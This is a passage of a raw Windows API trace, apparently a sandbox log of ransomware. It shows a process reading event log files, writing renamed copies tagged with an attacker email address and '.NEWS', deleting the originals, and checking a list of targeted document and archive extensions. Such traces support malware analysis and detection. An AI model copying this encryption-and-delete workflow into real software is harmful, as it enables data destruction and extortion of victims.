hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.496] WriteFile (in: hFile=0x390, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.499] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.499] WriteFile (in: hFile=0x390, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x132, lpOverlapped=0x0) returned 1 [0078.499] SetEndOfFile (hFile=0x390) returned 1 [0078.500] CloseHandle (hObject=0x390) returned 1 [0078.503] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.503] SetEndOfFile (hFile=0x354) returned 1 [0078.504] CloseHandle (hObject=0x354) returned 1 [0078.504] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.504] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0078.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.504] lstrlenW (lpString=".doc") returned 4 [0078.505] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString=".docx") returned 5 [0078.505] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.505] lstrlenW (lpString=".pdf") returned 4 [0078.505] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString=".xls") returned 4 [0078.505] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString=".xlsx") returned 5 [0078.505] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.505] lstrlenW (lpString=".ppt") returned 4 [0078.505] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.505] lstrlenW (lpString=".zip") returned 4 [0078.505] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString=".rar") returned 4 [0078.505] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString=".bz2") returned 4 [0078.505] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString=".7z") returned 3 [0078.505] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.505] lstrlenW (lpString=".dbf") returned 4 [0078.505] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.505] lstrlenW (lpString=".1cd") returned 4 [0078.505] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.505] lstrlenW (lpString=".jpg") returned 4 [0078.505] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.505] lstrlenW (lpString=".doc") returned 4 [0078.505] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString=".docx") returned 5 [0078.506] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.506] lstrlenW (lpString=".pdf") returned 4 [0078.506] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString=".xls") returned 4 [0078.506] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString=".xlsx") returned 5 [0078.506] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.506] lstrlenW (lpString=".ppt") returned 4 [0078.506] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.506] lstrlenW (lpString=".zip") returned 4 [0078.506] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString=".rar") returned 4 [0078.506] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString=".bz2") returned 4 [0078.506] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString=".7z") returned 3 [0078.506] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.506] lstrlenW (lpString=".dbf") returned 4 [0078.506] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.506] lstrlenW (lpString=".1cd") returned 4 [0078.506] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0078.506] lstrlenW (lpString=".jpg") returned 4 [0078.506] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.506] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.506] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0078.506] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0078.507] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=1052672) returned 1 [0078.507] CloseHandle (hObject=0x354) returned 1 [0078.507] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0078.507] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.507] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0078.507] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.507] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.507] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0078.507] GetLastError () returned 0x0 [0078.507] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0078.914] WriteFile (in: hFile=0x390, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0079.371] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x1010, lpOverlapped=0x0) returned 1 [0079.381] WriteFile (in: hFile=0x390, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x1020, lpOverlapped=0x0) returned 1 [0079.386] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.386] WriteFile (in: hFile=0x390, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x134, lpOverlapped=0x0) returned 1 [0079.386] SetEndOfFile (hFile=0x390) returned 1 [0079.387] CloseHandle (hObject=0x390) returned 1 [0079.911] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.912] SetEndOfFile (hFile=0x354) returned 1 [0079.913] CloseHandle (hObject=0x354) returned 1 [0079.913] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.913] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0079.914] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.914] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.914] lstrlenW (lpString=".doc") returned 4 [0079.914] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.914] lstrlenW (lpString=".docx") returned 5 [0079.914] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.914] lstrlenW (lpString=".pdf") returned 4 [0079.914] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.914] lstrlenW (lpString=".xls") returned 4 [0079.914] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.914] lstrlenW (lpString=".xlsx") returned 5 [0079.914] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.914] lstrlenW (lpString=".ppt") returned 4 [0079.914] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.914] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.914] lstrlenW (lpString=".zip") returned 4 [0079.914] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.914] lstrlenW (lpString=".rar") returned 4 [0079.914] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.914] lstrlenW (lpString=".bz2") returned 4 [0079.914] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.914] lstrlenW (lpString=".7z") returned 3 [0079.914] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.914] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.914] lstrlenW (lpString=".dbf") returned 4 [0079.915] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.915] lstrlenW (lpString=".1cd") returned 4 [0079.915] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.915] lstrlenW (lpString=".jpg") returned 4 [0079.915] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.915] lstrlenW (lpString=".doc") returned 4 [0079.915] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString=".docx") returned 5 [0079.915] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.915] lstrlenW (lpString=".pdf") returned 4 [0079.915] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString=".xls") returned 4 [0079.915] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString=".xlsx") returned 5 [0079.915] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.915] lstrlenW (lpString=".ppt") returned 4 [0079.915] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.915] lstrlenW (lpString=".zip") returned 4 [0079.915] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString=".rar") returned 4 [0079.915] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.915] lstrlenW (lpString=".bz2") returned 4 [0079.915] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.916] lstrlenW (lpString=".7z") returned 3 [0079.916] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.916] lstrlenW (lpString=".dbf") returned 4 [0079.916] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.916] lstrlenW (lpString=".1cd") returned 4 [0079.916] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0079.916] lstrlenW (lpString=".jpg") returned 4 [0079.916] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.916] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.916] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0079.916] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0079.916] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0079.916] CloseHandle (hObject=0x354) returned 1 [0079.917] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0079.917] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.917] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0079.917] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.917] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.917] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0079.918] GetLastError () returned 0x0 [0079.918] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.921] WriteFile (in: hFile=0x35c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.923] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.923] WriteFile (in: hFile=0x35c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x122, lpOverlapped=0x0) returned 1 [0079.923] SetEndOfFile (hFile=0x35c) returned 1 [0079.924] CloseHandle (hObject=0x35c) returned 1 [0079.926] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.927] SetEndOfFile (hFile=0x354) returned 1 [0079.928] CloseHandle (hObject=0x354) returned 1 [0079.928] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.928] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0079.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.929] lstrlenW (lpString=".doc") returned 4 [0079.929] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.929] lstrlenW (lpString=".docx") returned 5 [0079.929] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.929] lstrlenW (lpString=".pdf") returned 4 [0079.929] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.929] lstrlenW (lpString=".xls") returned 4 [0079.929] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.929] lstrlenW (lpString=".xlsx") returned 5 [0079.929] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.929] lstrlenW (lpString=".ppt") returned 4 [0079.929] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.929] lstrlenW (lpString=".zip") returned 4 [0079.929] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.929] lstrlenW (lpString=".rar") returned 4 [0079.929] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.929] lstrlenW (lpString=".bz2") returned 4 [0079.929] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.929] lstrlenW (lpString=".7z") returned 3 [0079.929] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.929] lstrlenW (lpString=".dbf") returned 4 [0079.930] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.930] lstrlenW (lpString=".1cd") returned 4 [0079.930] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.930] lstrlenW (lpString=".jpg") returned 4 [0079.930] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.930] lstrlenW (lpString=".doc") returned 4 [0079.930] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString=".docx") returned 5 [0079.930] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.930] lstrlenW (lpString=".pdf") returned 4 [0079.930] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString=".xls") returned 4 [0079.930] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString=".xlsx") returned 5 [0079.930] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.930] lstrlenW (lpString=".ppt") returned 4 [0079.930] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.930] lstrlenW (lpString=".zip") returned 4 [0079.930] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString=".rar") returned 4 [0079.930] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString=".bz2") returned 4 [0079.930] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.930] lstrlenW (lpString=".7z") returned 3 [0079.930] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.930] lstrlenW (lpString=".dbf") returned 4 [0079.930] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.931] lstrlenW (lpString=".1cd") returned 4 [0079.931] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0079.931] lstrlenW (lpString=".jpg") returned 4 [0079.931] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.931] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.931] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0079.931] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0079.931] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0079.931] CloseHandle (hObject=0x354) returned 1 [0079.931] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0079.931] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.931] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0079.932] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.932] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.932] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0079.932] GetLastError () returned 0x0 [0079.932] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.935] WriteFile (in: hFile=0x35c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.936] ReadFile (in: hFile=0x354, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.936] WriteFile (in: hFile=0x35c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x130, lpOverlapped=0x0) returned 1 [0079.937] SetEndOfFile (hFile=0x35c) returned 1 [0079.937] CloseHandle (hObject=0x35c) returned 1 [0079.939] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | 